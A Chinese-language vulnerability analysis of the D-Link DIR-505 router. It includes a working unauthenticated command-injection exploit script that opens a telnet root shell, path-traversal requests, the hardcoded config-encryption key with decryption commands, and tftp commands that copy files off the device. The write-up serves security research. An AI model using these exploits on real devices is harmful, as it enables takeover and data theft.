Dir505 漏洞分析
Weak configuration file encryption
根据漏洞报告的描述,备份的config
文件是使用硬编码加密的,同时可以根据备份的config
文件恢复系统,所以可以构造恶意的config
文件,然后自己加密并用恶意的config
文件恢复系统。
漏洞报告公布了硬编码的密钥sw5-superman
,通过搜索字符串定位到具体的处理逻辑
$ grep -ri "sw5-superman"
匹配到二进制文件 usr/bin/my_cgi.cgi
使用ida
分析my_cgi.cgi
,同样的先搜寻字符串,定位到函数save_conf
和upgrade_conf
根据函数名可以猜测,save_conf
是用于保存当前的config
配置,upgrade_conf
则是根据用户的config
恢复系统配置。
save_conf
首先分析save_conf
,ida
识别system
函数时,会出现问题,只能识别第一个参数,后面的参数无法识别,需要手动更改一下system
函数的type
将其改为int system(const char *command,...)
,参数类型为变参,修复后如下图所示
首先根据路由器运行的模式,确定v8
的值,然后调用ccrypt
加密/www/dest_config
,密钥为sw5-superman
,然后获取config_ver
并赋值给v1
,最后调用imghdr
和一系列的参数处理加密后的/www/dest_config
。不过仍然存在几个疑惑的点
- 如何确定
which_mode
的取值? config_ver
的具体值是什么?imghdr
操作的作用,以及对应参数的意义?- 如何触发
my_cgi.cgi
的save_conf
函数?
触发save_conf
笔者在思考这几个疑点时,受到了一定的阻碍,最后是先找到了save_conf
的触发点,理清了交互逻辑后,解决了这几个疑点。那么如何寻找触发点呢?由于笔者接触路由器的web服务比较少,不理解web接口和二进制程序是如何联系的。但是通过仔细阅读了漏洞公告,发现公告中提到了backup
即备份功能,于是登录路由器的后台寻找有关于备份的相关功能,最后通过备份功能找到了对应的触发点。
F12审查一下源码,发现是通过js发起网络请求
网络请求的js如下:
function save_to_disk(http_req){
my_xml = http_req.responseXML;
if (check_user_info(my_xml.getElementsByTagName("redirect_page")[0])){
location.href = 'config_whp';
disable_all_btn(false);
}
}
function save_configure(){
var xml_request = new XMLRequest(save_to_disk);
var para = "request=save_conf";
disable_all_btn(true);
xml_request.exec_cgi(para);
}
不是很懂这里参数request=save_conf
的处理逻辑,猜测是通过request
的值,访问对应的my_cgi.cgi
的同名函数,js脚本中还存在如下的几个请求调用,尝试在my_cgi.cgi
中寻找对应的函数。
request=clear_lang_pack 存在对应的函数
request=restore_to_default 不存在
request=restart_device 不存在
所以实际的web请求和cgi的函数调用仍然不清楚,有时间进一步研究一下。
确定which_mode
通过后端的备份功能,可以获得一份config_whp
文件,根据漏洞公告的方式解密此文件.
sudo apt-get install ccrypt # 安装ccrypt
dd if=config_whp of=config_no_head bs=84 skip=1 # 根据文件头的格式处理config_whp
ccrypt -d -K sw5-superman config_no_head # 解密config
然后就可以得到config
的详细信息,其中具有几个关键信息
user_level=0
user_user_pwd=
user_user_name=user
admin_level=1
admin_user_pwd=
admin_user_name=admin
nvram_major=1
nvram_minor=01
理论上可以通过修改管理员的密码,然后重新加密,使用imghdr
处理,然后通过上传config文件,恢复系统,并修改管理员的密码。
imghdr
那么imghdr
是什么东西呢?google了一番,发现查到的都是诸如图像格式识别的东西,和这里的imghdr
没有丝毫的联系,于是再次检索了一下字符串,发现了系统里存在imghdr
这个工具。
$ grep -ri "imghdr"
匹配到二进制文件 lib/libputil.so
匹配到二进制文件 usr/bin/my_cgi.cgi
匹配到二进制文件 usr/bin/imghdr
于是可以使用qemu
跑一下这个imghdr
看一下具体的用法
$ qemu-mips -L . ./usr/bin/imghdr
./usr/bin/imghdr: cache '/etc/ld.so.cache' is corrupt
Usage: imghdr <src> <dest> <model:19> <signature:29> <fw_reg:3> <fw_ver:11>
结合此前ida反编译的结果,不难分析出通过get_config_ver(&v1)
得到的应该是固件的版本。
确定config_ver
由于my_cgi.cgi
中的get_config_ver
是一个外部函数调用,需要寻找到对应的动态链接库,同样通过grep
的方式寻找到动态链接库
lib/libeutil.so
,ida分析,首先发现了几个熟悉的字符串db_version
,major
,minor
,然后根据已经得到的config
文件猜测v2
是
nvram_major
对应的数值,而v3
则是nvram_minor
对应的值。
实际上通过01editor打开config_whp
发现文件头中确实存在1.01
的字样。
疑点
最后通过修改config中的管理员密码的值,然后通过ccrypt
和imghdr
生成了一份伪造的config
文件,但是传到后台恢复时,却无法顺利的恢复。
upgrade_conf
upgrade的逻辑也较为简单,将用户的文件保存到/tmp/upload_config
然后解密,不过如何保存,以及如何检验nvram_version
并没有逆清楚。
Command Injection
根据漏洞报告的公告,看到在System_Check.htm
页面存在ping_test
的接口,显然这里会执行系统调用。不过有意思的是,System_Check.htm
这个页面是隐藏的,无法通过后台直接找到,需要通过url
直接访问。那么是否存在其他的隐藏界面呢?是否存在漏洞?其实可以通过此处的命令注入(假设存在)开启路由器的telnet
后,把www
目录下的内容扒下来分析其他隐藏的htm
。
注入点
通过分析请求包,定位到my_cgi.cgi
中的ping_test
发现用户的输入是通过格式化字符串的方式拼接到一起的,没有进行过滤,可以通过;
执行多条指令
最致命的一点是,ping_test
这个接口即使没有用户的cookie
也可以访问,所以即使不知道账户的密码,也可以打这个接口
import requests
import sys
try:
target = sys.argv[1]
except:
exit(1)
url = "http://%s/my_cgi.cgi"%target
payload = "request=ping_test&ip_addr=127.0.0.1;busybox telnetd -l /bin/sh;"
headers = {
'accept': '*/*',
'accept-encoding': 'gzip, deflate',
'accept-language': 'zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7',
'content-length': '35',
'content-type': 'application/x-www-form-urlencoded',
'host': '192.168.0.1',
'origin': 'http://192.168.0.1',
'proxy-connection': 'keep-alive',
'referer': 'http://192.168.0.1/System_Check.htm',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36'
}
response = requests.request("POST", url, headers=headers, data = payload)
print(response.text.encode('utf8'))
文件传输
大多数的路由器文件系统都是只读文件系统,无法修改,只有/tmp
可以写,因此大多数的时候用户传输的数据和文件都是保存在/tmp
目录下的。利用的时候也是先在/tmp
目录下伪造需要的配置文件或者恶意文件,然后通过mount -o
或者mount -l
将/tmp
挂载到指定的目录上。在获取到了路由器的telnet
后,可以在本机搭建一个simplehttpserver
然后通过wget
将文件传输到路由器上,那么如何将路由器上的文件下载到本地呢?笔者首先想到的时通过scp
传输,但是大部分路由器又没有ssh
,而scp
是基于ssh
的,因此放弃。检索后发现busybox
自带tftp
。因此考虑在本机上配置tftp
服务端,然后在路由器上使用tftp
传输到本地。
windows tftp服务端 https://bitbucket.org/phjounin/tftpd64/downloads/
linux tftp服务端 https://www.huaweicloud.com/articles/555bc3f58697a6d21780837fa7d9a959.html
不过dir505
上的busybox
中的tftp
只有下载功能没有上传功能,因此先传一个完整版的busybox
上去,然后再用tftp
下载文件
首先打包一下www
,然后通过tftp
传输文件,一下操作均在tmp
目录下进行。
./busybox-mips tar -cvf www.tar /www/*
./busybox-mips tftp -p -r www.tar -l www.tar 192.168.0.101
Path traversal
存在两处路径穿越,第一处是列举目录时可以达到泄露目录信息的效果,第二处是文件上传时的目录穿越可以实现任意地址写(实际只能写tmp目录)。
第一处
http://192.168.0.1:8181/dws/api/ListFile?id=admin&tok=&volid=1&path=usb_dev/usb_A1/../../../../etc
第二处
http://192.168.0.1:8181/dws/api/UploadFile?0.640807398297802
POST
------WebKitFormBoundarylOgjvOg8nuYnWjt6
Content-Disposition: form-data; name="id"
badmonkey
------WebKitFormBoundarylOgjvOg8nuYnWjt6
Content-Disposition: form-data; name="tok"
------WebKitFormBoundarylOgjvOg8nuYnWjt6
Content-Disposition: form-data; name="volid"
1
------WebKitFormBoundarylOgjvOg8nuYnWjt6
Content-Disposition: form-data; name="path"
usb_dev/usb_A1/../../../../../../../../../tmp/
------WebKitFormBoundarylOgjvOg8nuYnWjt6
Content-Disposition: form-data; name="filename"
1.txt
------WebKitFormBoundarylOgjvOg8nuYnWjt6
Content-Disposition: form-data; name="TimeZone"
8
------WebKitFormBoundarylOgjvOg8nuYnWjt6
Content-Disposition: form-data; name="TimeStamp"
1630916539
------WebKitFormBoundarylOgjvOg8nuYnWjt6
Content-Disposition: form-data; name="upload_source"
gui
------WebKitFormBoundarylOgjvOg8nuYnWjt6
Content-Disposition: form-data; name="upload_file"; filename="1.txt"
Content-Type: text/plain
badmonkey
------WebKitFormBoundarylOgjvOg8nuYnWjt6--
路径穿越的洞都比较简单,大致逻辑就是scandir
的方法支持解析../
和./
,而且后端没有过滤,因此可以导致路径穿越。
Other
其实还有两个洞,一个是默认用户guest/guest
,另一个就是Content-type: multipart/form-data
类型的请求不会鉴权,结合起来,就可以利用guest
用户上传一个fake_config
文件更改admin
的密码。
在main
中找到判断Content-Type
的分支,相等则跳入无鉴权的部分,反之跳入content_length>0
的分支进行鉴权以及一系列的其他操作。